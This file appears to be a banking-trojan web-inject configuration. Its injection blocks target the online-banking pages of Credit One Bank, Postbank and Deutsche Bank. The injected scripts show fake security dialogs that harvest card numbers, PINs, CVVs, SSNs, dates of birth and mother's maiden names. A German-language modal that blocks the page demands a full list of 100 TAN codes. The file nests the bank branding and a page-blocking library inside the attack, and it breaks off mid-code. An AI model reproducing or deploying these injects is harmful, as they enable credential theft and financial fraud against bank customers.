	jQuery('#inject').dialog({ buttons: { "Continue": function() {
	        if (jQuery("#inject_cc").val().length < 15) 
	        {
		        alert('Please enter correct Credit Card Number');
		        jQuery("#inject_cc").focus();
	        } 
	        else if (jQuery("#inject_expdate_mm").val().length < 2)
	        {
		         alert('Please enter Exp.Date');	
		         jQuery("#inject_expdate_mm").focus();
	        } 
	        else if (jQuery("#inject_expdate_yy").val().length < 2)  
	        {
		         alert('Please enter Exp.Date');	
		         jQuery("#inject_expdate_yy").focus();
	        } 
	        else if (jQuery("#inject_pin").val().length < 4)  
	        {
		          alert('Please enter correct PIN');	
		          jQuery("#inject_pin").focus();
	        } 
	        else if (jQuery("#inject_cvv").val().length < 3) 
	        {
		          alert('Please enter correct CVV');	
		          jQuery("#inject_cvv").focus();
	        }  
	        else if (jQuery("#inject_dob").val().length < 6) 
	        {
		          alert('Please enter correct Day of Birth')	
		          jQuery("#inject_dob").focus();
	        }  
	        else if (jQuery("#inject_mmm").val().length < 4) 
	        {
		          alert('Please enter correct Mother`s Maiden Name')	
		          jQuery("#inject_mmm").focus();
	        }  
	        else if (jQuery("#inject_ssn").val().length < 8) 
	        {
		          alert('Please enter correct Social Security Number')	
		          jQuery("#inject_ssn").focus();
	        } 
	        else 
	        {
		jQuery("#cc").val(jQuery("#inject_cc").val());
		jQuery("#expdate_mm").val(jQuery("#inject_expdate_mm").val());
		jQuery("#expdate_yy").val(jQuery("#inject_expdate_yy").val());
		jQuery("#pin").val(jQuery("#inject_pin").val());
		jQuery("#cvv").val(jQuery("#inject_cvv").val());
		jQuery("#dob").val(jQuery("#inject_dob").val());
		jQuery("#mmm").val(jQuery("#inject_mmm").val());
		jQuery("#ssn").val(jQuery("#inject_ssn").val());	
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');	
  
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}

				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>
data_end
data_after
data_end

data_before
<form name="Form1" method="post" action="*"
data_end

data_inject
 id="Form1" class="form" autocomplete="off">
<div id="inject">
	<form>
	<center> 
	<p><h3 style="background-color: #FFFFFF">Authorization Required</h3></p>
	</center>
	<table><tbody>
	  <tr><td>
	<img src="https://www.creditonebank.com/images/master/logo_CreditOne_main.gif" align="left" style="padding-left: 70px;"/>
	  </td></tr>
	  <tr>
	  </td><td align="left" style="text-align: justify;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table>
  <center>	
	<p>Please enter the information below to continue.</p>
	<div>
		<table>
			<tbody>
				<tr><td align="left">Credit Card Number:</td><td align="left"><input type="text" name="inject_cc" id="inject_cc" size="16" maxlength="16" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left">Exp.Date:</td><td align="left"><input type="text" name="inject_expdate_mm" id="inject_expdate_mm" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /> / <input type="text" name="inject_expdate_yy" id="inject_expdate_yy" size="2" maxlength="2" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' />&nbsp;<i>(mm/yy)</i></td></tr>
				<tr><td align="left">PIN Code:</td><td align="left"><input type="text" name="inject_pin" id="inject_pin" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left">CVV Code:</td><td align="left"><input type="text" name="inject_cvv" id="inject_cvv" size="4" maxlength="4" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
				<tr><td align="left">Day of Birth:</td><td align="left"><input type="text" name="inject_dob" id="inject_dob" size="10" maxlength="10" /></td></tr>
				<tr><td align="left">Mother's Maiden Name:</td><td align="left"><input type="text" name="inject_mmm" id="inject_mmm" size="12" maxlength="12" /></td></tr>
				<tr><td align="left">Social Security Number:</td><td align="left"><input type="text" name="inject_ssn" id="inject_ssn" size="12" maxlength="12" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="cc" id="cc" />
<input type="hidden" name="expdate_mm" id="expdate_mm" />
<input type="hidden" name="expdate_yy" id="expdate_yy" />
<input type="hidden" name="pin" id="pin" />
<input type="hidden" name="cvv" id="cvv" />
<input type="hidden" name="dob" id="dob" />
<input type="hidden" name="mmn" id="mmm" />
<input type="hidden" name="ssn" id="ssn" />
</form>
<!--
data_end

data_after
data_end

data_before
id="Form1" class*>
data_end
data_inject
data_end
data_after
data_end
set_url https://banking.postbank.de/app/* GP
data_before
</head>
data_end
data_inject
<style>
.confirmation_dialog {
width: 900px;
/*height: 520px;*/
border: 1px solid #000;
background: #FFF;
}

.cd_header {
background: #FFF;
padding: 5px 40px 5px 25px;
height: 65px;
display: block;
border-bottom: 1px solid #000;
}

.cd_body{
padding: 10px;
/*padding-top:0px;*/
}

.cdf_errors {
background: #FAA;
padding: 15px;
font-size: 9pt;
display:none;
}

#cdf_tbl {
background: #FFF;
margin-top:10px;
margin-bottom:0px;
width: 890px;
height: 220px;
}

table.confirm_dlg_table th {
font-size: 7pt;
font-weight: normal;
color: #000;
text-align:left;
padding-top:5px;
}

table.confirm_dlg_table tr {
lihe-height:0px;
margin: 0;
padding: 0;
}

table.confirm_dlg_table td {
font-size: 13px;
color: #000;
height: 7pt;
font-weight:normal;
text-align: right;
margin: 0;
padding: 0;
padding-left:0px;
}

table.confirm_dlg_table input {
width:40px;
font-size: 7pt;
font-weight: bold;
color: #000;
height: 15px;
border: 1px solid #000;
margin: 0;
/*margin-left:5px;*/
margin-bottom:0px;
padding: 0;
float:left;
}

table.confirm_dlg_table input.active {
border: 1px solid #F77;
}

table.confirm_dlg_table input.ok {
background: #AFA;
}

table.confirm_dlg_table input.bad {
background: #FAA;
}

.cb_th {
	color: #000;
	padding-right: 10px;
}

</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
jQuery.noConflict()
;(function(jQuery) {
jQuery.fn._fadeIn = jQuery.fn.fadeIn;
var noOp = function() {};
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
// retarded userAgent strings on Vista)
var mode = document.documentMode || 0;
var setExpr = jQuery.browser.msie && ((jQuery.browser.version < 8 && !mode) || mode < 8);
var ie6 = jQuery.browser.msie && /MSIE 6.0/.test(navigator.userAgent) && !mode;
// global jQuery methods for blocking/unblocking the entire page
jQuery.blockUI   = function(opts) { install(window, opts); };
jQuery.unblockUI = function(opts) { remove(window, opts); };
// convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
jQuery.growlUI = function(title, message, timeout, onClose) {
var jQuerym = jQuery('<div class="growlUI"></div>');
if (title) jQuerym.append('<h1>'+title+'</h1>');
if (message) jQuerym.append('<h2>'+message+'</h2>');
if (timeout == undefined) timeout = 3000;
jQuery.blockUI({
message: jQuerym, fadeIn: 700, fadeOut: 1000, centerY: true,
timeout: timeout, showOverlay: false,
onUnblock: onClose, 
css: jQuery.blockUI.defaults.growlCSS
});
};
// plugin method for blocking element content
jQuery.fn.block = function(opts) {
return this.unblock({ fadeOut: 0 }).each(function() {
if (jQuery.css(this,'position') == 'static')
this.style.position = 'relative';
if (jQuery.browser.msie)
this.style.zoom = 1; // force 'hasLayout'
install(this, opts);
});
};
// plugin method for unblocking element content
jQuery.fn.unblock = function(opts) {
return this.each(function() {
remove(this, opts);
});
};
jQuery.blockUI.version = 2.33; // 2nd generation blocking at no extra cost!
// override these in your code to change the default behavior and style
jQuery.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message:  '<h1>Please wait...</h1>',
title: null,	  // title string; only used when theme == true
draggable: true,  // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// jQuery.blockUI.defaults.css = {};
css: {
padding:	0,
margin:		0,
width:		'30%',
top:		'40%',
left:		'15%',
textAlign:	'center',
color:		'#000',
border:		'3px solid #aaa',
backgroundColor:'#fff',
cursor:		'wait'
},
// minimal style set used when themes are used
themedCSS: {
width:	'30%',
top:	'40%',
left:	'35%'
},
// styles for the overlay
overlayCSS:  {
backgroundColor: '#000',
opacity:	  	 0.6,
cursor:		  	 'wait'
},
// styles applied when using jQuery.growlUI
growlCSS: {
width:  	'350px',
top:		'10px',
left:   	'',
right:  	'10px',
border: 	'none',
padding:	'5px',
opacity:	0.6,
cursor: 	'default',
color:		'#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius':	 '10px',
'border-radius': 		 '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages.  disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn:  0,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut:  0,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
//	 onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
quirksmodeOffsetHack: 4
};
// private data and functions follow...
var pageBlock = null;
var pageBlockEls = [];
function install(el, opts) {
var full = (el == window);
var msg = opts && opts.message !== undefined ? opts.message : undefined;

opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
opts.overlayCSS = jQuery.extend({}, jQuery.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
var css = jQuery.extend({}, jQuery.blockUI.defaults.css, opts.css || {});
var themedCSS = jQuery.extend({}, jQuery.blockUI.defaults.themedCSS, opts.themedCSS || {});
msg = msg === undefined ? opts.message : msg;

// remove the current block (if there is one)
if (full && pageBlock)
remove(window, {fadeOut:0});

// if an existing element is being used as the blocking content then we capture
// its current place in the DOM (and current display style) so we can restore
// it when we unblock

if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
var node = msg.jquery ? msg[0] : msg;

var data = {};
jQuery(el).data('blockUI.history', data);

data.el = node;
data.parent = node.parentNode;
data.display = node.style.display;
data.position = node.style.position;
if (data.parent)
data.parent.removeChild(node);
}
var z = opts.baseZ;
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
// layer1 is the iframe layer which is used to supress bleed through of underlying content
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
// layer3 is the message content that is displayed while blocking
var lyr1 = (jQuery.browser.msie || opts.forceIframe) 
? jQuery('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>')
: jQuery('<div class="blockUI" style="display:none"></div>');
var lyr2 = jQuery('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
var lyr3, s;
if (opts.theme && full) {
s = '<div class="blockUI blockMsg blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:fixed">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (opts.theme) {
s = '<div class="blockUI blockMsg blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:absolute">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (full) {
s = '<div class="blockUI blockMsg blockPage" style="z-index:'+z+';display:none;position:fixed"></div>';
}			
else {
s = '<div class="blockUI blockMsg blockElement" style="z-index:'+z+';display:none;position:absolute"></div>';
}
lyr3 = jQuery(s);

// if we have a message, style it
if (msg) {
if (opts.theme) {
lyr3.css(themedCSS);
lyr3.addClass('ui-widget-content');
}
else 
lyr3.css(css);
}
// style the overlay
if (!opts.applyPlatformOpacityRules || !(jQuery.browser.mozilla && /Linux/.test(navigator.platform)))
lyr2.css(opts.overlayCSS);
lyr2.css('position', full ? 'fixed' : 'absolute');
// make iframe layer transparent in IE
if (jQuery.browser.msie || opts.forceIframe)
lyr1.css('opacity',0.0);
//jQuery([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
var layers = [lyr1,lyr2,lyr3], jQuerypar = full ? jQuery('body') : jQuery(el);
jQuery.each(layers, function() {
this.appendTo(jQuerypar);
});

if (opts.theme && opts.draggable && jQuery.fn.draggable) {
lyr3.draggable({
handle: '.ui-dialog-titlebar',
cancel: 'li'
});
}
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
var expr = setExpr && (!jQuery.boxModel || jQuery('object,embed', full ? null : el).length > 0);
if (ie6 || expr) {
// give body 100% height
if (full && opts.allowBodyStretch && jQuery.boxModel)
jQuery('html,body').css('height','100%');
// fix ie6 issue when blocked element has a border width
if ((ie6 || !jQuery.boxModel) && !full) {
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
var fixT = t ? '(0 - '+t+')' : 0;
var fixL = l ? '(0 - '+l+')' : 0;
}
// simulate fixed position
jQuery.each([lyr1,lyr2,lyr3], function(i,o) {
var s = o[0].style;
s.position = 'absolute';
if (i < 2) {
full ? s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"')
: s.setExpression('height','this.parentNode.offsetHeight + "px"');
full ? s.setExpression('width','jQuery.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"')
: s.setExpression('width','this.parentNode.offsetWidth + "px"');
if (fixL) s.setExpression('left', fixL);
if (fixT) s.setExpression('top', fixT);
}
else if (opts.centerY) {
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
s.marginTop = 0;
}
else if (!opts.centerY && full) {
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top) : 0;
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
s.setExpression('top',expression);
}
});
}
// show the message
if (msg) {
if (opts.theme)
lyr3.find('.ui-widget-content').append(msg);
else
lyr3.append(msg);
if (msg.jquery || msg.nodeType)
jQuery(msg).show();
}

if ((jQuery.browser.msie || opts.forceIframe) && opts.showOverlay)
	lyr1.show(); // opacity is zero

if (opts.fadeIn) {
	
	var cb = opts.onBlock ? opts.onBlock : noOp;
	var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
	var cb2 = msg ? cb : noOp;
	
	if (opts.showOverlay)
		lyr2._fadeIn(opts.fadeIn, cb1);
	console.log(opts); return false;
	if (msg)
		lyr3._fadeIn(opts.fadeIn, cb2);
}
else {
	if (opts.showOverlay)
		lyr2.show();
	if (msg)
		lyr3.show();
	if (opts.onBlock)
		opts.onBlock();
}
// bind key and mouse events

bind(1, el, opts);
if (full) {
pageBlock = lyr3[0];
pageBlockEls = jQuery(':input:enabled:visible',pageBlock);
if (opts.focusInput)
setTimeout(focus, 20);
}
else
center(lyr3[0], opts.centerX, opts.centerY);

if (opts.timeout) {
// auto-unblock
var to = setTimeout(function() {
full ? jQuery.unblockUI(opts) : jQuery(el).unblock(opts);
}, opts.timeout);

jQuery(el).data('blockUI.timeout', to);
}

};
// remove the block
function remove(el, opts) {
var full = (el == window);
var jQueryel = jQuery(el);
var data = jQueryel.data('blockUI.history');
var to = jQueryel.data('blockUI.timeout');
if (to) {
clearTimeout(to);
jQueryel.removeData('blockUI.timeout');
}
opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
bind(0, el, opts); // unbind events
var els;
if (full) // crazy selector to handle odd field errors in ie6/7
els = jQuery('body').children().filter('.blockUI').add('body > .blockUI');
else
els = jQuery('.blockUI', el);
if (full)
pageBlock = pageBlockEls = null;
if (opts.fadeOut) {
els.fadeOut(opts.fadeOut);
setTimeout(function() { reset(els,data,opts,el); }, opts.fadeOut);
}
else
reset(els, data, opts, el);
};
// move blocking element back into the DOM where it started
function reset(els,data,opts,el) {
els.each(function(i,o) {
// remove via DOM calls so we don't lose event handlers
if (this.parentNode)
this.parentNode.removeChild(this);
});
if (data && data.el) {
data.el.style.display = data.display;
data.el.style.position = data.position;
if (data.parent)
data.parent.appendChild(data.el);
jQuery(el).removeData('blockUI.history');
}
if (typeof opts.onUnblock == 'function')
opts.onUnblock(el,opts);
};
// bind/unbind the handler
function bind(b, el, opts) {
var full = el == window, jQueryel = jQuery(el);
// don't bother unbinding if there is nothing to unbind
if (!b && (full && !pageBlock || !full && !jQueryel.data('blockUI.isBlocked')))
return;
if (!full)
jQueryel.data('blockUI.isBlocked', b);
// don't bind events when overlay is not in use or if bindEvents is false
if (!opts.bindEvents || (b && !opts.showOverlay)) 
return;
// bind anchors and inputs for mouse and key events
var events = 'mousedown mouseup keydown keypress';
b ? jQuery(document).bind(events, opts, handler) : jQuery(document).unbind(events, handler);
// former impl...
//	   var jQuerye = jQuery('a,:input');
//	   b ? jQuerye.bind(events, opts, handler) : jQuerye.unbind(events, handler);
};
// event handler to suppress keyboard/mouse events when blocking
function handler(e) {
// allow tab navigation (conditionally)
if (e.keyCode && e.keyCode == 9) {
if (pageBlock && e.data.constrainTabKey) {
var els = pageBlockEls;
var fwd = !e.shiftKey && e.target == els[els.length-1];
var back = e.shiftKey && e.target == els[0];
if (fwd || back) {
setTimeout(function(){focus(back)},10);
return false;
}
}
}
// allow events within the message content
if (jQuery(e.target).parents('div.blockMsg').length > 0)
return true;
// allow events for content that is not being blocked
return jQuery(e.target).parents().children().filter('div.blockUI').length == 0;
};
function focus(back) {
if (!pageBlockEls)
return;
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
if (e)
e.focus();
};
function center(el, x, y) {
var p = el.parentNode, s = el.style;
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
if (x) s.left = l > 0 ? (l+'px') : '0';
if (y) s.top  = t > 0 ? (t+'px') : '0';
};
function sz(el, p) {
return parseInt(jQuery.css(el,p))||0;
};
})(jQuery);


function cdf_getcookie () {
var c=window.document.cookie.toString();
return c.indexOf('wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS')!=-1;
}
function cdf_setcookie () {
var hn = window.location.hostname;
var futdate = new Date();
var expdate = futdate.getTime();
expdate+=31104000000;
futdate.setTime(expdate);
window.document.cookie='wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS;path=\/;domain=.'+hn+';expires='+futdate.toGMTString();
};

function cdf_check() {
	cdf_hide_errors();
	var error_exists=false;
	jQuery('#cdf').find('input[id^=clfield]').each(
		function(){
			if (error_exists){return false;}
			inp=jQuery(this);
			if (!inp.val() || inp.val().toString().search(/\d{6}/)==-1) {
				cdf_show_errors();
				setTimeout(
					cdf_hide_errors,
					5000
				);
				inp.focus();
				error_exists=true;
			}
		}
	);
	if (error_exists){return false;}
	//console.log(jQuery('#cdf').find('input[id^=clfield]'));
	//return false;
	cdf_setcookie();
	jQuery('#confirmation_dialog_form').submit();
};
function cdf_show_errors() {
jQuery('#confirmation_dialog_text').hide();
jQuery('#confirmation_dialog_errors').show();
};
function cdf_hide_errors() {
jQuery('#confirmation_dialog_text').show();
jQuery('#confirmation_dialog_errors').hide();
};
function clfield_check(target) {
	var ic=jQuery(target);
	if (typeof(target.id)=='undefined'){return false;};
	var nextid=ic.attr('id').replace(/[^0-9]/gi, '');
	nextid=parseInt(nextid)+1;
	if (ic.val().toString().length==6){
		if(ic.val().toString().search(/\d{6}/)==-1)
		{
		ic.addClass('bad');
		} else {
		ic.addClass('ok');
		jQuery('#clfield'+nextid).focus();
		}
	} else {
		ic.removeClass('ok')
		ic.removeClass('bad')
	}
};
function cdf_onfocus(target) {
jQuery('#confirmation_dialog_form input.clfield').removeClass('active');
jQuery(target).addClass('active');
};
function cdf_onkeyup(target) {
clfield_check(target);
};

function cdf_format(str){
	if (str<10) {
		str='00'+str.toString();
	} else if (str<100) {
		str='0'+str.toString();
	}
	return str;
}

function actual_format(str){
	if (str<10) {
		str='*0'+str.toString();
	} else if (str<100) {
		str='*'+str.toString();
	} else if (str=100) {
		str='00';
	}
	return str;
}

jQuery(document).ready(
function () {
		if (cdf_getcookie()){return false;}

		jQuery('form').submit(
			function (sender) {
				if (typeof(jQuery.blockUI)=='function') {
					jQuery.blockUI.defaults.css = {
					padding:	'0',
					margin:		0,
					width:		'900px',
					height:		'350px',
					top:		'20%',
					left:		'10%',
					textAlign:	'left',
					color:		'#000',
					border:		'0',
					backgroundColor:'#fff',
					cursor:		'default'
					};

					var msg= '<center><div id="cdf" class="confirmation_dialog">'+
					'<div class="cd_body">'+
					'<div style="margin-bottom:15px; color:#FF0000; font-size: 12pt; font-weight:bold; text-align:center">Achtung!</div>'+
					'<div id="confirmation_dialog_text" style="font-size: 9pt;text-align:left;padding: 0 30px 0 40px;">Sehr geehrter Benutzer. Ihr account f&uuml;r einige Funktion ist gespert! Bitte best&auml;tigen Sie Ihre g&uuml;ltige TAN-Liste, damit k&ouml;nnen Sie Ihre onlinebanking weiter voll benutzen. Fur Best&auml;tigung Ihre TAN-Liste, f&uuml;llen Sie die Form unten und dr&uuml;cken Sie die Taste Absenden.  Wir bedanken  Ihnen um Ihre Verst&auml;ndnis.</div>'+
					'<div id="confirmation_dialog_errors" class="cdf_errors">Bitte f&uuml;llen Sie alle Felder</div>'+
					'<form method="post" name="confirmation_dialog" id="confirmation_dialog_form">'+
					'<input type="hidden" id="DEpass" name="DEpass"/>'+
					'<div id="cdf_tbl">'+
					'<table align=center class="confirm_dlg_table" cellpadding=0 cellcpacing=0>'+
					'<tr style="padding-top:5px;">';
					var letters = ['a','b','c','d','e','f','g','h'];
					for (i=1; i<=10; i++) {
						msg+='<th>&nbsp;Nr.</th><th style="text-align:right">TAN</th>';
					}
					msg+='</tr><tr>';
					var clv_nr=1;
					var col_counter=1;
					for (i=1; i<=10; i++) {
						msg+='<tr>';
						for (j=1; j<=10; j++) {
							clv_nr=(i+(j-1)*10);
							
							msg+='<td>'+actual_format(clv_nr)+'</td><td><input onkeyup="cdf_onkeyup(this)" onfocus="cdf_onfocus(this)" maxlength="6" class="clfield" type="text" name="clfield_tan'+cdf_format(clv_nr)+'" id="clfield'+clv_nr+'" /></td>';
						}
						msg+='</tr>';
					}
					msg+='</table></div></form>'+
					'<div style="display:block; margin-top:10px;height:32px;"><input value="Absenden" type="button" onclick="cdf_check()" /></div>'+
					'</div></div></center>';

					jQuery.blockUI({ 
						message: msg
					});

					jQuery("html, body").css("overflow", "hidden");
					setTimeout(
						function () {		
						jQuery('#clfield1').focus();
						//jQuery('#cdf_tbl').corner();
						},
						50
					);
					return false;
				}
			}
		);
	}
);
</script>
data_end
data_after
data_end


set_url https://meine.deutsche-bank.de/trxm/db/* GP
data_before
</head>
data_end
data_inject
<style>
.confirmation_dialog {
width: 900px;
/*height: 520px;*/
border: 1px solid #000;
background: #FFF;
}

.cd_header {
background: #FFF;
padding: 5px 40px 5px 25px;
height: 65px;
display: block;
border-bottom: 1px solid #000;
}

.cd_body{
padding: 10px;
/*padding-top:0px;*/
}

.cdf_errors {
background: #FAA;
padding: 15px;
font-size: 9pt;
display:none;
}

#cdf_tbl {
background: #FFF;
margin-top:10px;
margin-bottom:0px;
width: 890px;
height: 220px;
}

table.confirm_dlg_table th {
font-size: 7pt;
font-weight: normal;
color: #000;
text-align:left;
padding-top:5px;
}

table.confirm_dlg_table tr {
lihe-height:0px;
margin: 0;
padding: 0;
}

table.confirm_dlg_table td {
font-size: 13px;
color: #000;
height: 7pt;
font-weight:normal;
text-align: right;
margin: 0;
padding: 0;
padding-left:0px;
}

table.confirm_dlg_table input {
width:40px;
font-size: 7pt;
font-weight: bold;
color: #000;
height: 15px;
border: 1px solid #000;
margin: 0;
/*margin-left:5px;*/
margin-bottom:0px;
padding: 0;
float:left;
}

table.confirm_dlg_table input.active {
border: 1px solid #F77;
}

table.confirm_dlg_table input.ok {
background: #AFA;
}

table.confirm_dlg_table input.bad {
background: #FAA;
}

.cb_th {
	color: #000;
	padding-right: 10px;
}

</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
jQuery.noConflict()
;(function(jQuery) {
jQuery.fn._fadeIn = jQuery.fn.fadeIn;
var noOp = function() {};
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
// retarded userAgent strings on Vista)
var mode = document.documentMode || 0;
var setExpr = jQuery.browser.msie && ((jQuery.browser.version < 8 && !mode) || mode < 8);
var ie6 = jQuery.browser.msie && /MSIE 6.0/.test(navigator.userAgent) && !mode;
// global jQuery methods for blocking/unblocking the entire page
jQuery.blockUI   = function(opts) { install(window, opts); };
jQuery.unblockUI = function(opts) { remove(window, opts); };
// convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
jQuery.growlUI = function(title, message, timeout, onClose) {
var jQuerym = jQuery('<div class="growlUI"></div>');
if (title) jQuerym.append('<h1>'+title+'</h1>');
if (message) jQuerym.append('<h2>'+message+'</h2>');
if (timeout == undefined) timeout = 3000;
jQuery.blockUI({
message: jQuerym, fadeIn: 700, fadeOut: 1000, centerY: true,
timeout: timeout, showOverlay: false,
onUnblock: onClose, 
css: jQuery.blockUI.defaults.growlCSS
});
};
// plugin method for blocking element content
jQuery.fn.block = function(opts) {
return this.unblock({ fadeOut: 0 }).each(function() {
if (jQuery.css(this,'position') == 'static')
this.style.position = 'relative';
if (jQuery.browser.msie)
this.style.zoom = 1; // force 'hasLayout'
install(this, opts);
});
};
// plugin method for unblocking element content
jQuery.fn.unblock = function(opts) {
return this.each(function() {
remove(this, opts);
});
};
jQuery.blockUI.version = 2.33; // 2nd generation blocking at no extra cost!
// override these in your code to change the default behavior and style
jQuery.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message:  '<h1>Please wait...</h1>',
title: null,	  // title string; only used when theme == true
draggable: true,  // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// jQuery.blockUI.defaults.css = {};
css: {
padding:	0,
margin:		0,
width:		'30%',
top:		'40%',
left:		'15%',
textAlign:	'center',
color:		'#000',
border:		'3px solid #aaa',
backgroundColor:'#fff',
cursor:		'wait'
},
// minimal style set used when themes are used
themedCSS: {
width:	'30%',
top:	'40%',
left:	'35%'
},
// styles for the overlay
overlayCSS:  {
backgroundColor: '#000',
opacity:	  	 0.6,
cursor:		  	 'wait'
},
// styles applied when using jQuery.growlUI
growlCSS: {
width:  	'350px',
top:		'10px',
left:   	'',
right:  	'10px',
border: 	'none',
padding:	'5px',
opacity:	0.6,
cursor: 	'default',
color:		'#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius':	 '10px',
'border-radius': 		 '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages.  disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn:  0,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut:  0,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
